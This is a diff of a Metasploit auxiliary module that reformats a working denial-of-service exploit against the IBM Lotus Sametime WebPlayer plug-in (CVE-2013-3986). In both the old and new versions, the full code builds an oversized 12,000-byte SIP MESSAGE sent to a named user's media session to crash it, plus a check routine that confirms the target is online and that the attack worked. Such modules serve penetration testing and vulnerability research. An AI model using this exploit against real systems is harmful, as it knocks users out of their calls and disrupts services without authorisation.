diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb index aed629576d..43eaaddce6 100644 --- a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb @@ -7,204 +7,204 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Dos + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos - def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Lotus Sametime WebPlayer DoS', - 'Description' => %q{ - This module exploits a known flaw in the IBM Lotus Sametime WebPlayer - version 8.5.2.1392 (and prior) to cause a denial of service condition - against specific users. For this module to function the target user - must be actively logged into the IBM Lotus Sametime server and have - the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a - browser extension. The user should have the WebPlayer plug-in active - (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. - RHOST Target should be the Sametime Media Server address and NOT the - web interface SIPURI should be in the format - @ (e.g. - targetuser%40targetdomain.com@stmedia.targetdomain.com - }, - 'Author' => - [ - 'kicks4kittens' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['DOS'], - ['CHECK'] - ], - 'DefaultAction' => 'DOS', - 'References' => - [ - [ 'CVE', '2013-3986' ], - [ 'OSVDB', '99552' ], - [ 'BID', '63611'], - [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], - [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] - - ], - 'DisclosureDate' => 'Nov 07 2013')) + RHOST Target should be the Sametime Media Server address and NOT the + web interface SIPURI should be in the format + @ (e.g. + targetuser%40targetdomain.com@stmedia.targetdomain.com + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS'], + ['CHECK'] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] - register_options( - [ - Opt::RPORT(5060), - OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', \ - '@']), - OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), - OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) - ], self.class) + ], + 'DisclosureDate' => 'Nov 07 2013')) + register_options( + [ + Opt::RPORT(5060), + OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', + '@']), + OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0,4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4,@sipuri.length] + end + if @sipuri[0,12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12,@sipuri.length] end - def setup - # cleanup SIP target to ensure it's in the correct format to use - @sipuri = datastore['SIPURI'] - if @sipuri[0,4].downcase == "sip:" - # remove sip: if present in string - @sipuri = @sipuri[4,@sipuri.length] - end - if @sipuri[0,12].downcase == "webavclient-" - # remove WebAVClient- if present in string - @sipuri = @sipuri[12,@sipuri.length] - end + end + def checkuser + # used to check the user is logged into Sametime and after DoS to check success + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + + print_status("Checking if targeted user #{@sipuri} is online") + res = send_msg(msg) + + # check response for current user status - common return codes + if res.nil? + print_error("No response recevied from server") + return false + elsif res =~ /430 Flow Failed/i + print_good("User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + print_error("User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + print_good("User #{@sipuri} is online") + return true + else + print_error("Unknown server response") + return false end - def checkuser - # used to check the user is logged into Sametime and after DoS to check success - length = Rex::Text.rand_text_numeric(2) # just enough to check response + end + + def run + + # inform user of action currently selected + print_status("Action: #{action.name} selected") + + if datastore['CHECKUSER'] or action.name == 'CHECK' + # check the user is online without DOS + response = checkuser + else + print_status("User check disabled, continuing with DoS against #{@sipuri}") + response = true # no check performed + end + + unless action.name == 'CHECK' # only proceed if action not set to CHECK + if response + # checkuser explicitly disabled or user is online + + print_status("Targeting user: #{@sipuri}") + print_status("Sending DoS packet to #{rhost}:#{rport}") + + length = 12000 # enough to overflow the end of allocated memory msg = create_message(length) - - print_status("Checking if targeted user #{@sipuri} is online") res = send_msg(msg) - # check response for current user status - common return codes - if not res or res.nil? - print_error("No response recevied from server") - return false + if res.nil? + if datastore['CHECKUSER'] # check user AFTER DoS + print_good("User #{@sipuri} is no longer responding") + else + print_good("No response from server. User is offline or server doesn't respond") + end elsif res =~ /430 Flow Failed/i - print_good("User #{@sipuri} is no longer responding (already DoS'd?)") - return false + print_good("DoS packet successful. Response received (430 Flow Failed)") + print_good("User #{@sipuri} is no longer responding") elsif res =~ /404 Not Found/i - print_error("User #{@sipuri} is currently offline or not in a Sametime video session") - return false + print_error("DoS packet appears successful. Response received (404 Not Found)") + print_status("User appears to be currently offline or not in a Sametime video session") elsif res =~ /200 OK/i - print_good("User #{@sipuri} is online") - return true - else - print_error("Unknown server response") - return false + print_error("DoS packet unsuccessful. Response received (200)") + print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") end - + else + print_error("Check failed, ensure user is online") + end end + end - def run + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("Creating SIP MESSAGE packet #{length} bytes long") - # inform user of action currently selected - print_status("Action: #{action.name} selected") + suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) + shost = Rex::Socket.source_address(datastore['RHOST']) + src = "#{shost}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) - if datastore['CHECKUSER'] or action.name == 'CHECK' - # check the user is online without DOS - response = checkuser - else - print_status("User check disabled, continuing with DoS against #{@sipuri}") - response = true # no check performed - end + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text - unless action.name == 'CHECK' # only proceed if action not set to CHECK - if response - # checkuser explicitly disabled or user is online + return data + end - print_status("Targeting user: #{@sipuri}") - print_status("Sending DoS packet to #{rhost}:#{rport}") - - length = 12000 # enough to overflow the end of allocated memory - msg = create_message(length) - res = send_msg(msg) - - if not res or res.nil? - if datastore['CHECKUSER'] # check user AFTER DoS - print_good("User #{@sipuri} is no longer responding") - else - print_good("No response from server. User is offline or server doesn't respond") - end - elsif res =~ /430 Flow Failed/i - print_good("DoS packet successful. Response received (430 Flow Failed)") - print_good("User #{@sipuri} is no longer responding") - elsif res =~ /404 Not Found/i - print_error("DoS packet appears successful. Response received (404 Not Found)") - print_status("User appears to be currently offline or not in a Sametime video session") - elsif res =~ /200 OK/i - print_error("DoS packet unsuccessful. Response received (200)") - print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") - end - else - print_error("Check failed, ensure user is online") - end - end + def timing_get_once(s, length) + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) end + end - def create_message(length) - # create SIP MESSAGE of specified length - vprint_status("Creating SIP MESSAGE packet #{length} bytes long") + def send_msg(msg) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(datastore['RHOST']) - src = "#{shost}:#{datastore['RPORT']}" - cseq = Rex::Text.rand_text_numeric(3) - message_text = Rex::Text.rand_text_alphanumeric(length.to_i) - branch = Rex::Text.rand_text_alphanumeric(7) - - # setup SIP message in the correct format expected by the server - data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" - data << "Max-Forwards: 80\r\n" - data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" - data << "CSeq: #{cseq} MESSAGE" + "\r\n" - data << "Content-Type: text/plain;charset=utf-8" + "\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Content-Length: #{message_text.length}" + "\r\n\r\n" - data << message_text - - return data - end - - def timing_get_once(s, length) - if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 - return s.get_once(length, datastore['TIMEOUT']) - else - return s.get_once(length) - end - end - - def send_msg(msg) - - begin - s = connect - # send message and store response - s.put(msg + "\r\n\r\n") rescue nil - # read response - res = timing_get_once(s, 25) - if res == "\r\n" - # retry request - res = timing_get_once(s, 25) - end - return res - rescue ::Rex::ConnectionRefused - print_status("Unable to connect to #{rhost}:#{rport}") - rescue ::Errno::ECONNRESET - print_status("DoS packet successful. #{rhost} not responding.") - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") - ensure - # disconnect socket if still open - disconnect if s - end + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("Unable to connect to #{rhost}:#{rport}") + rescue ::Errno::ECONNRESET + print_status("DoS packet successful. #{rhost} not responding.") + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + ensure + # disconnect socket if still open + disconnect if s end + end end